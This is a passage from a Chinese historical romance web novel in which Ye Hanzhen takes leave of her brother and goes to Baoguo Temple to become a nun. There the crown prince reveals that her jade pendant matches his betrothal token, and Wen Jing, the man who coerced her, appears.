叶含珍回身紧紧抱着叶夫人,哽咽道,“女儿不会的。”
只要她保证,只要自己那日能落发出世,那她就好好活着,绝不让阿娘白夫人送黑发人。
叶夫人得了叶含珍的保证,不免又开始垂泪。
叶家的除夕,便在眼泪里泡着过去了。
叶含珍至正月初一始,便不再整日待在自己院子里,而是日日赖在叶夫人的院子里,用百般法子哄叶夫人开心,直到叶孝义踏入正院时,才带着丫头离开。
父女俩擦身而过的时候,叶含珍只垂着脑袋,默默朝门口走。而叶孝义则是待走过女儿身侧时停下脚步,才回头去望女儿有些急促离去的身影。
直到再也看不见时,便负手失落得继续往前走。
虽在除夕那夜,一家人商量好了叶含珍以后的路,只是没有人可以做到这一切都发生过,还像从前那般父慈女孝。
叶劲自廿五之后,除了去衙门,每日一回府后就将自己关在屋子里,不知忙活些什么。
直到三十那日一早,才顶着黑眼圈,捧着一个盒子朝叶含珍院子走去。
走到院门处,却见叶含珍正领着丫头在玩雪。
她灵动活泼得与侍女们玩闹的模样,和从前在临州的刺史府里,一般无二,只是眼下落在叶劲的眼里,这不过是昙花一现。
院子里,已经堆着好几个挺着大大肚子的雪人。
它们有黑的眼,红的鼻子,甚至头上还戴着几顶斗笠。
笨拙憨厚,颇有些趣味。
叶劲见叶含珍脸颊冻得红通通的,兴致瘸极好,整个人也松快许多。
他抱着盒子在院子门口呆呆望了半天,才想起自己今日来的目的。
“……珍珍。”
叶含珍闻声蓦然回头,朝院门的叶劲旋起双颊梨涡:“哥哥来了?”
说完唇边扬起一抹狡黠笑意,抓起一把雪,几下揉成团,朝叶劲扔去
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叶劲抱着盒子微微一侧身子,那团就从他耳旁飞了过去。
只是他身后的小厮糟了秧。
那雪团实实砸在他肩膀,瞬间粉碎成飞散的玉屑。有的落在门槛处,有的却溅到他衣领里。
小厮抖了抖落在脖颈间的碎雪,打了个寒颤,苦着一张脸抱怨道:“公子也太会躲了!只是苦了小人。”
“好清风,等回去了爷赏你几个银锞子,请你喝酒驱寒,如何?”
那名叫清风的小厮见自己只挨了小姐的雪团一下就有赏,不禁喜色道:“那就多谢公子了!小姐,再赏小的几个雪球,小的受得住!”
叶含珍被清风的话逗笑,“都怪哥哥躲得太快,该他赏你银锞子。他若是小气不给,那小姐我来给!”
叶含珍说完便呼着水雾,朝一旁的青莲吩咐:“去给清风几个锞子,就当是我误伤他的礼。”
青莲闻言便笑嘻嘻得去了。
“哥哥今日怎么来寻我?可是有事?”
“呐,给你的。”
叶劲大步跨过院门,“赶紧进屋里待着去,再玩受凉了喝汤药的时候,可别哭啊!跟我进屋去。”说完便朝屋子的方向走。
冬日的暖阳洒在叶劲高瘦的背脊上,拖出一条长长暗影。
他不知道,自她落入闻景手里后,那些苦口的汤药她已经能面不改色得喝尽。
她早就不是那个需要有人哄,需要各式酸甜蜜饯送药的叶含珍。
眼眶有些涩意,叶含珍对着叶劲被阳光映照的身影,长长吁了气后,才提起裙角快步追上叶劲的步伐。
“先去换衣服,我在这里等你。”
叶劲说着话,自顾在外间的炕上坐下。
叶含珍换上熏烘好的衣物,从内室出来时,叶劲已经用完了一碗丫头端上来的杏仁雪梨饮。
“哥哥今日怎么有空来寻我?”
“怎么?不能来吗?”
“能来,能来!”叶含珍一边吃着雪青奉上的桂圆羹,朝叶劲道,“只是年节下,各府宴席颇多,想必爹爹和哥哥都忙的不可开交,难得哥哥有空来我院子里一次,蓬荜生辉啊!”
“好好吃东西,别说话,仔细呛到。”
叶含珍却不理会叶劲的话,一手搅着青瓷荷叶碗里的桂圆羹,不停地朝案桌上的盒子瞟去。
“那是什么?”
“你打开看看不就知道了吗?”
是送给她的?
叶含珍顿时来了兴致,她放下手里的瓷勺,伸手去拿那盒子,却被叶劲一手按住。
“桂圆羹还没吃完呢,吃完了再看,跑不了的。”
“哼!”
叶含珍缩回手,几下就将剩下的桂圆羹喝完。她举着手里的荷叶碗,含含糊糊道:“喝完了。”
叶劲这时才收回按在盒子上的手。
等到叶含珍飞扬着眉眼,打开手里的锦盒后,才看到一只足有她巴掌大的玉雕,静静在盒子里躺着。
比除夕那夜收到的竹雕还要精致绝伦。
她一手拿起玉羊,不禁细细端详起来。
琼鼻绯唇,鸦黑羽睫。
直到叶含珍举着玉羊朝自己道谢时,叶劲才恍若初醒般收回视线,神色有些不自然:“喜欢吗?”
“嗯!喜欢!”
叶含珍点头,眼里也全是掩不住的欣喜。
把玩了好一会玉羊,她才一手抓着羊,往内室里走去。
38. 明珠蒙尘
叶劲在外面等了一盏茶的时间,才见跟在她身后出来的雪青,手里捧着一双靴子。
叶含珍将靴子双手递给叶劲,“这是给哥哥做的靴子,哥哥回去试试。”
叶劲摸着手上的靴子,针脚极好,底子也厚软的很,不免开心的像个毛头小子,“妹妹辛苦了!”
叶含珍:“不辛苦,哥哥喜欢就好。”
再过两日,她就要去保国寺与太子见面。等一切结束后,她也再也不会有机会给家里人做些针线活。
虽然那会她已经出家,但是为保慎重,她们还是少来往的好,免得被人察觉。
一想到自己就要离开,叶含珍只觉这一个月过得飞快,快得让她恍惚以为自己昨日才回家。
叶劲得了叶含珍送的新靴子,略略坐了一会,喝完了茶水就离开了。
等回到自己的院子里时,仍不停地摩挲着那双绣着忍冬纹的黑靴。
“去告诉周管事,让他仔细打点好清心庵,别让小姐在那里受委屈。再者,提前给在临州的二叔二婶传信,说小姐过完五月就要回去,让他们照看些。”
等到吩咐完这些,叶劲又继续向清风道,“还有,去告诉贴身伺候小姐的丫头,让她们在那日小姐去保国寺时,就要带足小姐的衣物。”
清风:“是,小的这就去办。”
而此时叶含珍在叶劲离开之后,也不再去院子里玩。
她坐在熏笼旁,听着茶壶盖被沸腾的水汽,不停顶撞的清脆声。直到青莲来回禀行李已经收拾好了,她才大梦初醒般望着地上摆的几只木箱。
“青莲,雪青,你们当真也要和我一起去清心庵吗?”
这两个丫头自从除夕那夜之后,便想方设法得劝自己也带着她们去清心庵。
可是,她此次去清心庵是去出家的,不是游山玩水。她们年纪和自己相仿,已经到了该议亲时候,何必跟去庵庙?
青莲:“请小姐成全!”
雪青:“请小姐成全!小姐去哪,奴婢就去哪,无怨无悔。”
“罢了,随你们吧,”叶含珍见她们还执意如此,只道,“那咱们就在那里住几个月,待时机成熟后,便一同回临州。”
两个丫头见叶含珍终于肯松口,不禁喜出望外:“多谢小姐!奴婢们的衣物早就悄悄装好了,等会奴婢再给小姐装些御寒的衣物。”
保国寺是皇家大寺,自然不缺衣食柴炭。只是同在一个山头的清心庵却只是个小庙,恐怕冷得很,还是得多带些衣物才好。
晚上,叶含珍从叶夫人的院子回来时,便挂着泪珠,不停地抽噎着。
直到沐浴完毕,绞干一头乌发时,叶含珍才彻底收了哭意。她端坐在妆奁的铜镜前,仔细得打量着镜子里的自己。
镜中的女子,杏眸皎皎,唇色如绯,只是神色早不是在临州时那般无忧无虑,天真活泼。
眉间荡漾着不该属于闺阁女子的媚色水意。
里面的人,真叫她陌生。
颤抖着执起玉梳,在华顺乌黑亮泽的发间划过,脑海不断浮现自己与那人在榻间纠缠时的场景。
是她提出要出家的。
可到了此时,见自己一头青丝明日就会离她而去,心里没有不舍是哄人的。
若是这一切都不曾发生,那么这会执玉梳替她梳发的人,只会是自己的夫君。
可惜,没有如果。
放下玉梳,纤白柔软的温热指头,慢慢抚过小腹。
还好,眼下唯一值得庆幸的是,她没有怀上那人的孽种。
叶含珍很清楚自己绝对不能怀孕。
闻景在她身体上留下的暧昧痕迹,是可以随着时日一长,慢慢褪去的。
他们之间恶心关系也可以被她一一否认,只是血脉骨肉,却是斩不断的孽缘。
更何况,她与闻景之间本就只是一场交易,现下交易结束了,她不仅要走,还要干干净净地走。
所以自中秋那日后,她便日日服用着青莲带回避孕用的丸药。虽然闻景后面也给了避子汤,可是她不敢去相信闻景人。
她害怕他会骗她,她只能相信自己。
幸好,一起都如她所愿。
叶含珍这夜睡得极不踏实,反反复复一直做着噩梦。
梦里一直闪现着一张布满血色的男子面容,一会是叶劲,一会又是闻景,正要努力看清楚时,却又化作父亲那张苍老的脸庞。
她想逃,却不知该往哪里走,直至那满是鲜血的手,抓住自己的脚踝时,她才得“啊”了一声,随即耳边就响起一道焦急的声音,不停地呼唤自己。
“小姐!小姐!快醒醒啊!”
“啊!”
叶含珍猛然睁开眼睛,起身抱着被子,大口喘着气。
雪青见人好不容易醒了,心疼得用手帕去擦她额间的冷汗。
“小姐这是怎么了?怎么又做噩梦了?”
叶含珍却丝毫听不到她的声音,只紧紧抱着被子,努力蜷缩着身子。
“青莲,你守着小姐,我这就去请大夫来!”雪青说完,就要急匆匆转身离开,却被清醒过来的叶含珍叫住。
“雪青!”
叶含珍抬起手背,在额间摸了摸,“我没事,不用去请大夫,免得阿娘和哥哥担心。”
今日是她要离开的日子。
昨天晚上阿娘就哭晕过去,今日怎么能又让她替自己担心呢?
没事了,叶含珍,方才那些都只是噩梦而已,你很快就能解脱了。
“这……”
两个丫头有些迟疑。
叶含珍望着晨曦透过窗棂洒下的柔光,将空气悬浮的微粒照得清晰,便知时辰不早了。
“伺候我更衣吧,今日的事多,用过早膳要早些出发才好。”
两个丫头对视一眼,只得按照叶含珍的话,各自忙碌起来。
这几日冰雪渐融,比前几日下雪时更冷了。
青莲伺候着叶含珍穿了一身鹅黄色织锦绣竹纹袄裙,又插戴了一副珍珠头面。
叶含珍端坐在光亮的铜镜前,见乌发间的珍珠,颗颗晶润饱满,衬得镜子里的女子越发唇红齿白,娴静如水。
她从妆奁的抽屉里选了一副玉镯,给自己戴在腕间,才扶着青莲起身。
“马车都准备好了吗?”
“回小姐,都准备好了。”
“那就出发吧。”
青莲见她神色有些怔愣,不免开口道
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,“小姐不去向夫人和老爷辞别吗?”
“不用了,免得阿娘见了我会舍不得,至于爹爹他……他也并不在意这些。”
既然已经决定要走这一步,那就利利索索得离开。
她没得选。
披上厚实的狐裘披风,叶含珍便带着二人往垂花门行去。
只是没想到叶劲早候在院门,见她出来了,也只是一言不发得跟着她身后。
“我扶你上车。”
叶含珍看着叶劲伸过来的手,摇头道:“不必。”
说完这话,叶含珍便绕过叶劲,扶着青莲的手,登上了马车。
只留一脸失望得叶劲,站在垂花门下。
手已经垂落在身侧,叶劲看着那披着雪白狐裘披风的衣角钻进了车帘里,才翻身上马。
保国寺位于距城郊向北约二十里的山头上,叶劲骑着马,带着一干下人,一路护送着叶含珍。
到了山门外,叶劲赶在马车停稳时翻身下了马背。
叶含珍弯腰钻出马车后,就看到一只熟悉的衣袖,伸在车旁。
抬眼望去,仍是叶劲。
不好再拂他的面子,叶含珍仔细抓着他的衣袖,扶着他有力的小臂,跳下马车。
“保国寺”三个金色大字稳稳挂在寺庙大门上,闪着几乎要晃瞎人眼的光。
不愧是皇家大寺,就连这牌匾就能让人望而生畏。
叶含珍松开叶劲的手,站在台阶下,“哥哥就不用进去了,我带着青莲雪青进去就行。还请哥哥早些回府,替我给阿娘她老人家报信,说过了今日,我很快就能再见到她,让她不要担心。”
过了今日,她就不再是工部侍郎叶孝义的女儿,而是方外之人。
她可以借着阿娘打蘸时,偷偷去望一望她。
等到几年过后,说不定还能母女团聚。
叶劲看着妹妹曾经灵动的眼眸此刻变得黯淡无光,就像明珠蒙尘。
可他却不能替她做些什么,只能听着她暗哑的声音,徐徐交代着要安抚好阿娘。
叶劲猛吸一口凉气,才堪堪将心底的晦涩压制住。
想起上车时,她避开他的神色,叶劲知道,他们此生只能是兄妹。
除非……除非……
不行!叶劲!
握紧的拳头,让前几日在雕玉羊时留下的伤口,有些刺痛。
强制自己清醒过来的叶劲,用含着几乎哀求的语气朝叶含珍道:“那哥哥就在这里等你,好不好?”
叶含珍听出叶劲的意思,他还是不放心自己,舍不得自己这个妹妹的。
叶含珍吸了吸鼻子,转身张开双臂抱了抱叶劲,将脸贴在他胸膛上,只两息,就松开手,往后退了两步。
她小时候每次生病不好好吃药,被爹娘训斥时,都会这样抱着叶劲撒娇。
只等叶劲让人端着她最爱吃的榛子酥来时,才会放开。
出门那会,还顾忌着男女七岁不同席的规矩,只是到了这会真正分别时,她还是忍不住想抱抱自己的哥哥。
她转过身去,不停地用手帕去擦脸上的泪痕。
“哥哥你走吧!求你了!”
她颤抖着哭音,小声哀求起来。
39. 婚约
她不想最疼爱自己的哥哥,看见自己青丝洒地,光着脑袋的狼狈模样。
既然下定决心选择出家这条路,那就让她一个人走下去就好。
今日是她特意让青莲将自己打扮得华贵无双,就是怕以后再没有机会,戴这一头珠花发簪。
即使披着厚厚的狐裘,叶劲也只觉得妹妹太单薄了。
她哭泣颤抖的肩膀,好似冬日里枯萎的蝴蝶翅膀,在寒风中瑟瑟发抖。
他收回想要抱抱她的手,往脸上一抹道:“好。”
随后便翻身上马,驾着马儿离开。
叶含珍是等到马蹄声尽时,才缓缓回头,只看到金色的阳光将山前的细雾散去,只留下漫山遍野的枯枝萧瑟。
听山间慢慢响起的悠远钟声,叶含珍带着青莲雪青两人缓缓踏上了台阶。
殊不知,有人正站在高处的塔顶上,早将一切都一览无余。
塔顶上的积雪里还半埋在枯黄落叶,先前凝结的冰凌在日光下,滴下水滴。
闻景没想到今日会在保国寺的碑塔上,瞧见叶含珍与叶劲两人相拥的模样。瞧着两个人依依不舍的样子,不知道,还以为是鸳鸯乱飞呢!
撑在刺骨的扶栏上,阵阵寒意拼命得警告着闻景告诉自己,他们是血亲的兄妹,自己不能杀叶劲。
只是一想到叶劲那日在青鹤楼看她的眼神,他就什么都不想去想,只恨不能将他的眼珠子剜出来。
哪有做哥哥那样看妹妹?
他也有妹妹,他很清楚男人的眼神。而自己··········································能答应他,能让叶含珍回叶府,也只是为了以后的打算。
闻景站在凭栏处,山间呼啸的朔风将他的袍角和披风吹得猎猎作响。
脸色也不复上塔时的兴致勃勃。
今日,他本是来陪母亲来上香的,没想到会撞见叶家兄妹。
本来想忍忍,等过些时日,小侄儿摆满月酒时再发帖子给叶府,邀她来郑国公府做客,没成想,今日人就自己送上门来了。
妙哉妙哉!
也不知她有没有想他。
在小沙弥的引导下,叶含珍已经跪在了正殿的蒲团上,虔诚祷告。
也许是她求的太多,起身的时候,腿麻了一下,眼看就要摔倒,却被一只手猛然扶住。
叶含珍借力站稳了身子,还来捂着扑通不止的心跳不及道谢,却看清来人的衣袖上,绣着宝相花纹。
顺着视线上移,却见是太子沈俞静正含笑对视过来。
“叶小姐没事吧?”
“没、没事!”叶含珍倏忽间缩回抓着他袖子的手,往身后退了几步,屈膝道,“小女见过——”
“嘘!快快请起吧。这里是正殿,佛祖眼下,众生平等,叶小姐何必如此多礼。”
叶含珍闻言倒真的抬头望了一眼殿中塑着金身的慈眉善目,又朝太子点头道:“多谢太子殿下。”
“孤听说今日叶小姐会来这里进香,已经命人准备了些茶水,还请叶小姐移步,随孤去品一品,毫州进贡的白芽。”
叶含珍:“谢太子殿下美意。”
沈俞静见她应下,便转身向后殿走去。叶含珍见状,带了两个丫头只远远跟在他身后。
约莫走了两盏茶,又顺着已经扫去残雪的石径走进一座寂静小院,才来到一个明亮寂静的禅房里坐下。
“可喜欢这茶?”沈俞静温和道。
茶水浮起的氤氲水雾,将他俊朗的眉眼染上几分朦胧。
叶含珍放下喝了半盏的茶水,恭敬道:“多谢殿下赏赐!小女这还是第一次喝毫州的白芽,只觉得果然如传说中的轻、香、雅、甘,不愧是宫中贡茶。”
毫州的白芽一年出产不足二百斤,能送到宫里的,也只有堪堪五六十斤。
除了皇帝那里能管够喝上一年,沈俞静也只得了几罐。
剩下的,还要留些赏赐各家宗亲和几位老王爷。
“叶小姐喜欢茶叶吗?”
叶含珍见他没有恶意,仿佛就算那么随口一问。
“回太子,比起茶叶来,小女更喜欢各式的茶点。”
“比如……”
“榛子酥,核桃糕,玉露团,肉脯,芙蓉糕……咳咳,殿下,就这些了。”
叶含珍细数着自己平日里爱吃的各式点心,几乎要忘了自己面前还坐着储君。
她有些不好意思避开沈俞静含笑投来的目光,困窘道:“让太子殿下见笑了。”
“这有什么?”沈俞静安慰道,“只是孤不知道你喜欢这些点心,今日只准备了保国寺做的花酥和豆糕,只能委屈叶小姐了。”
“我还没吃过太子殿下口中的花酥和豆糕呢,不知可否有幸尝尝?”
“摆在你身侧桌案上的就是,叶小姐请随意。”
叶含珍得了沈俞静的话,只感激得朝沈俞静点了点头,便取了盘子里的点心来吃。
吃完一块花酥,又拈起一块豆糕送到嘴边。
也许是这点心味道不错,也许是今日之后,可能再也吃不到从前爱吃的点心,叶含珍每样点心,足足用了三四块才停手。
沈俞静见她吃得双颊鼓鼓囊囊的,有些像抱着干果吃的松鼠,嘴角噙着笑,朝伺候的内侍吩咐道:“去给叶小姐添茶水。”
等叶含珍吃饱喝足后,才发现屋子里现下只剩不远处椅子上的沈俞静,和自己。
“叶小姐用好了吗?不够的话,孤再让人送些进来。”
叶含珍:“多谢太子殿下,小女吃饱了。”
“哈哈,难得见到叶小姐这种性情爽快的女子,不像京中贵女般,喝个茶都要扭捏一番,让人看着拘束。”
看着眼前笑得开朗的沈俞静,叶含珍原本晶润白皙的面庞上悄悄爬上几抹飞红。
不过是不及京中贵女那般端庄,却被他夸成性情爽快。
不愧是储君。
虽只是禅房,但屋子里也放了几个烧得极好的碳盆,用来驱寒。里面的银霜炭,染着暖融融的光,被缝隙里溜进来的风,吹得偶尔发出噼啪声响。
叶含珍身上披着狐裘不仅不冷,连手脚都微微聚起些潮意。
“叶小姐,今日冒昧约你来保国寺,是因为孤有些问题想问你,希望你如实回答。”
叶含珍见沈俞静已经收起嘴角张扬的笑容,不由坐直了身体。
“请殿下明示。”
“敢问叶小姐腰间的玉佩究竟是何处得来的?”
玉佩?
叶含珍听闻他又问起自己的玉佩,不得
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不解下腰间的玉佩细细端详起来。
可是,却并未见什么特别之处。
沈俞静:“叶小姐不如也看看孤这枚玉佩。”他说完后,便起身解下自己的荷包,从里面取出一只玉佩递与叶含珍。
叶含珍的掌心慢慢蓄起潮意,将两只一模一样的羊脂玉佩带上些微微汗意。现下,唯一能区分这两枚玉佩的方法,就是玉佩上打着不同颜色的络子。
一墨一青。
怎么会这样?
她怎么会和一国储君一模一样的玉佩?
沈俞静见她不停地比对着两枚玉佩,眉头也渐渐拧起,徐徐道:“我母妃出自长随侯,排行第三,上面还有一个哥哥,一个姐姐。我六岁那年,父皇亲自定下了我与长随侯白锋膝下才出生的四小姐的婚事,这对羊脂玉佩就是信物。那日,我见叶小姐腰间的玉佩与孤的有些相似,所以才要借来看看,只是没想到——”
“没想到,真的是一模一样,”叶含珍将两枚玉佩放在桌案上,咬唇道,“也许只是巧合呢?”
毕竟羊脂玉虽难得,但并不是什么皇族才能用的玉料,且鸳鸯的图案,那就更常见了。
她自小生在临州,有爹有娘,还有哥哥,怎么可能会是长随侯府的四小姐,太子殿下的未婚妻呢?
沈俞静知她一时间难以接受这些事,也不再逼她,只起身走向窗边,推开紧闭的窗户。
木质的窗框发出“吱呀”声,很快外间明亮至极的阳光,就随着鸟雀的叽喳吵闹声,闯入沉寂的禅房。
叶含珍所在的位置,正好能看见几只蹦蹦停停的灰雀在枝头上婉转悠扬。
“那日我也怕是自己认错了,故才冒昧借小姐的玉佩亲自一观,”沈俞静背对着她,温暖的日光越过他高大的肩膀,落在叶含珍脚下,“只是这玉佩背面刻着一个“内”字,就足以证明这是宫里流出来的物件,小姐若是不信,可以看看孤的那枚玉佩上有没有和你那枚有同样的印记。”
皇宫的物件皆有印记,不是随便哪件阿物就能冒充的。
叶含珍将两枚玉佩皆翻过来,只见在相同的地方,果然都刻着一个浅浅的“内”字。
“内”也就是取“内造”、“内库”之意。
想玉佩这样的小物件,刻一个字即可证明来处。
这会叶含珍才开始有些不安起来,她不知道太子为何要在今日挑破她身上玉佩的来历。
“殿、殿下,”叶含珍抬眼去望窗边的背影,“敢问那位白四小姐如今人在何处?我既捡了她的东西,自然是要物归原主的。”
“早在我七岁那年,长随侯府就以通敌叛国的罪名,满门抄斩了,距今已过去足足十六年,”沈俞静喉间发出一声低笑,“呵,想来若是她还在,如今也该与孤早就成为举案齐眉的夫妻了。”
若是成婚的早,说不定都做爹娘了,只可惜……老天爷无眼罢!
“太子殿下就是因着这个,觉得我其实是白四小姐,所以才要向皇上请旨赐婚的吗?可是殿下不也说了吗,长随侯府被满门抄斩,怎么可能还有个遗孤?”
叶含珍快言快语说完这一番话后,才看见脚下的人影晃动了一下,当即就知自己失言。
太子方才说他母妃,也就是先皇后是出自长随侯府,那被满门抄斩的岂不是太子的母族?
40. 抄家灭族
沈俞静闻言,背光面向神色慌张的叶含珍,启唇道:“孤只是觉得她可能还活着,不想放弃任何一个机会。”
“孤年前与叶侍郎聊过求娶你的事,不过他婉拒了孤,孤却想着还是要问问你的意思,若是你愿意嫁给孤为妃,那孤就是赴汤蹈火,也要父皇赐下你我的婚事,已全当年的约定。”
叶含珍瞬间握紧了扶手,紧张道:“若我不愿意嫁给殿下呢?而且我根本就不是白四小姐。”
别说她本就不是那位白四小姐,就算退一万步,她就是那位白四小姐,如今也嫁不得他了。
原因无他,只是她已是残花败柳,实在配不上眼前温润俊雅的沈俞静。
沈俞静:“孤不是拿你当做她,只是有些事情,孤还需要时间去查清楚,等孤查清楚了,就会让父皇下赐婚圣旨,孤如今只是想让你不那么怕孤而已。”
叶孝义那边,他已经派人去查当年长随侯府覆灭时,他人到底在哪里。
沈俞静眼下只查到叶孝义此人,不仅是李太傅的门生,居然与他舅舅白锋是同窗,这些联系起来,不得不让他多想。
“恳请殿下收回成命,”叶含珍“扑通”一声跪在地上,“小女姓叶,自小在临州长大,不是白四小姐,也无法替她嫁给殿下,还请殿下另觅佳偶。”
“你不愿意,是因为你觉得孤拿你当做白四吗?”
叶含珍仰头道:“我是不是殿下口中的故人,都不能嫁给殿下。”
她坚决的模样,倒让沈俞静一愣,“叶小姐讨厌孤吗?”
听到叶含珍话里的拒绝之意,沈俞静的声音不免有些大。
惊得窗外原本悠然漫步在枯枝上的鸟雀,不由拍着翅膀盘旋离去,只留下微微颤动的枝头还停留在眼前。
“不瞒叶小姐,孤自那日梅花宴后,就对小姐念念不忘。就算你真的不是孤期盼的故人,孤相信,我们之间的缘分也非同寻常。叶侍郎说你如今并没有婚约在身,何不考虑一下孤,做孤的太子妃?”
叶含珍此刻听闻他这番话,倒是有些轻松。她虽只是残花败柳之身,却也不愿意做他人的影子。
且太子话里话外,皆是坦诚相告,没有那人的一丝威逼利诱之意。
只是即便如此,她也必须彻底打消他的心思。
叶含珍恭敬地朝沈俞静磕了个头,“小女身份低微,礼数仪态有失,实在不堪为一国储妃,还请太子殿下收回成命。”
“你当真要这么决绝吗?”
沈俞静不可置信道,“孤保证,若你答应这婚事,大婚后,孤不会碰你。孤可以等,等你彻底愿意成为孤的妻子,咱们才做名副其实的夫妻。”
叶含珍很难去信他的保证,她只知道,今日一定要让太子彻底死心才行。
而就在她苦苦思量时,沈俞静却将她从地上扶起。
“地上凉,就算你不愿意嫁给孤,也还是先站起来回话吧。”
叶含珍却像是被吓到一般,被他这动作惊得连连后退。直到小腿撞在椅子上,才吃痛得捂着受伤的地方轻呼。
“你没事吧?”沈俞静紧张道。
叶含珍摇头,“小女没事,缓一会就好了。”
“坐吧,坐下咱们慢慢说。”
沈俞静指着她身后的椅子道。
叶含珍依言落了坐,只是才坐下片刻,就有内侍进来禀告沈俞静,说郑国公世子携四小姐拜见。
闻景?
闻景怎么会在这里?
叶含珍瞬间有些慌乱起来,连小腿上还未完全消退的痛都顾不上,就要向沈俞静请辞离开。
沈俞静不知想到了什么,只收起桌案上的两只玉佩,“这玉佩孤先借来一用,过段时间再还给你。”
“叶小姐,你很怕闻景吗?只是听到他要进来见孤,就急匆匆离开。”
“没、我没有怕他。”叶含珍嗫喏道,只是脸上慌乱的神色,却骗不过沈俞静的眼睛。
她哪里是怕他?
她明明就是恨不得将自己藏在这地砖缝隙里。或者,此刻肋下长出一对翅羽来,即刻飞出窗外。
冷静,叶含珍。
你们已经没有关系了,他来这里,也只是因为太子在这里。
叶含珍努力克制身上的热意,倏然化作冷汗,只是她越压抑自己内心的忧惧,那寒意便从脚下如毒蛇般窜入身体。
“是孤开的窗户,冷到叶小姐了吗?”
沈俞静不明白原本还决绝的女子,这会像是看见什么令她恐惧的东西,吓得唇色都失了血色。
他几步跨至窗边,就将那敞开的窗户闭得严严实实。
又提起茶炉上的壶,给叶含珍喝过的茶盏里续了些热茶。
直到水声静止,沈俞静才向还等候命令的内侍道:“去请他们进来。”
闻景踏入禅房,第一眼就落在坐在椅子上那抹鹅黄绵裙,雪白狐裘的纤细身影上。
温暖的日光顺着窗棂缝隙,迤逦在她周身,比大殿里那座金塑的佛像,还让人忍不住跪下祈祷。
青眉樱唇,眸若星子。
就连乌发间温润流彩的珍珠,也不如她半毫。
他有些日子未见她,此时猛然近距离见到人,忽有些莫名想笑。
原来,自己这么想她。
“臣闻景,参见太子殿下,太子殿下千岁千岁千千岁。”
闻景拱手行礼道。
“臣女闻菲,给太子殿下请安。”
“都起来吧,”沈俞静和煦笑着,指着一旁的椅子,“难得在此处遇见你们兄妹俩,快坐下烤烤火。”
叶含珍见兄妹俩给太子行完礼,起身屈膝道:“见过闻世子,闻四小姐。”
“殿下面前,叶小姐不必多礼,”闻景指着闻菲道,“自那日叶小姐赢了那绿萼梅后,菲儿就每日闹着要去侍郎府寻你,想细赏赏那两盆梅花,不知可方便?”
梅花?
叶含珍听闻景提起梅花宴上,他们赢来的珍贵梅花,一瞬间就要以为闻景是故意来寻她麻烦的。
早在回府的第二日,她就让人将那两盆梅花都丢了出去。
“是啊是啊!叶姐姐,我好想你啊!”
闻菲撒娇附和道,眉间尽是未经人事的天真烂漫。
沈俞静见叶含珍神色僵滞,只咬着嘴唇,并不回答闻菲,转头向目光灼灼的闻景。
“都坐下再说话吧。小乌,给闻世子和闻四小姐上茶。”
“是。
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”
“多谢太子殿下。”
闻景朝沈俞静拱手谢过后,撩起衣袍,在叶含珍对面的椅子上坐下。闻菲却走向叶含珍,在她一旁的椅子上落座。
内侍领命而去,很快就给闻景和闻菲兄妹俩,奉上热茶。
“你们怎么今日也来保国寺了?还晓得孤也在这里?”
“回禀殿下,臣与妹妹今日本是陪着母亲来进香礼佛的,只是在后殿遇见殿下身边伺候的内侍,正与知客僧交代些什么,才知殿下也在寺里,不敢不来向太子请安。只是这会母亲有些劳累,已经在禅房歇下,故让闻景向太子殿下告罪,请恕她晚些再来与殿下行礼。”
沈俞静:“姑姑既然在寺里礼佛,也应该是孤这个晚辈与她行礼,怎敢劳动她?待姑姑起身时,孤就去向姑姑问安。”
“叶姐姐,你怎么不理菲儿呀?”
“没有,”叶含珍含糊其辞,“我只是在想那两盆梅花,已经被府上毛手毛脚的小丫头打翻,却不知闻四小姐还惦念着它们,这该如何是好?”
“原来叶姐姐是在担心这个?”
闻菲嫣然一笑,调皮得眨了眨眼,“没关系,就算没有梅花,妹妹也很乐意寻叶姐姐一同玩耍。”
她很喜欢这个叶姐姐,说不上来的喜欢。
比喜欢她三姐闻雅还多些。
“菲儿和叶小姐很熟吗?”
沈俞静打量着两位妙龄女子,神思不得不往之前的传闻去想。
“不熟。”
“很熟!”
两个不和谐的声音一齐响起,逼得沈俞静越发怀疑。她拒绝自己,就是因为她……和闻景之间的关系吗?
那他们究竟眼下是何种关系?沈俞静暗暗揣测。
闻景从进来到坐下,眼神都不曾离开过叶含珍苍白的面庞。
她面颊比先前圆润了些,只是在见到他后,瞬间褪去了血色,连眼神都有些不自然得回避。
甚至比以前更怕自己。这是闻景得出的结论。
其实闻景猜的没错,眼下这会还能勉强端坐在人前的叶含珍,其实心思早就混乱起来。
就在内侍通报的那一刻,叶含珍就失去了全部力气。
至于她还能当着沈俞静的面,向闻景和闻菲见礼,也只是因为她仅剩下的本能反应。
“回殿下,臣从临州回京复命时,曾受叶大人所托,带着叶小姐一路到了京城,替叶小姐寻医问药。这一来二去嘛,菲也儿见过叶小姐,只是叶小姐为人谦和,想来她说与菲儿不熟,也只是不好让殿下误会。”
闻景信手拈来吐出一段搪塞之言,又面不改色得朝已经完全呆滞的叶含珍挑眉一笑:“叶小姐,在下方才说的可对?”
闻景潦潦几句貌似坦然的话,让沈俞静不禁暗中舒了口气。
不错,叶家父子是年前从临州才升迁进京的,而闻景也是从临州大战归来。他与他们父子相识一场,难保闻景不会帮这个忙。
原来坊间的传闻,也做不得真。
“是,闻四小姐身份尊贵,小女不敢胡攀。”
叶含珍强作镇静道。
既然闻景没有打算要捅出他们二人之间的关系,她又何必要上赶着揭露自己?
41. 快走
不过,自己不能再在这里待下去了,她得寻个合适的理由离开。
沈俞静不是没见过京中贵女畏惧闻景的模样,只是这一唱一和的两人,让他有些摸不着头脑。
这叶小姐脸上的畏惧是清楚的,只是闻景却一直言笑晏晏,倒有些像春日里围着花朵芯转的蜜蜂。
“多谢太子殿下的盛情款待,只是小女还得去给母亲求安神的符咒,就先告退了,”叶含珍徐徐起身,朝沈俞静的方向屈膝请辞,“闻世子,闻四小姐,告辞。”
“孤还让人准备了素斋,不如叶小姐一起留下来用完饭,再去取安神符咒吧?孤会让手下人去给寺里的僧人送个口信,让他们提前准备好符咒,不会耽误叶小姐回府的时辰的。”
沈俞静像是早就准备好这些安排一样,他话刚落音,就听见内侍进来道:“启禀殿下,斋饭已经送过来了,还请殿下示意。”
“如何?叶小姐吃过饭再走吧?”
叶含珍僵直着背脊,知道自己这会便是走不了了,只好点头,“那就多谢太子殿下赐膳了。”
罢了,在这里有太子沈俞静和闻菲在,她不必如此畏惧那人,只是一想到自己接下来的打算,叶含珍不免有些担心。
她不敢去猜闻景若是知道了她以后的打算,他会如何。
闻景这会脸上虽笑着,但那双眼眸里却有些瘆人。
她什么时候和沈俞静这么熟了?
今日他若是不来,那他们岂不是一直独处在这禅房里?
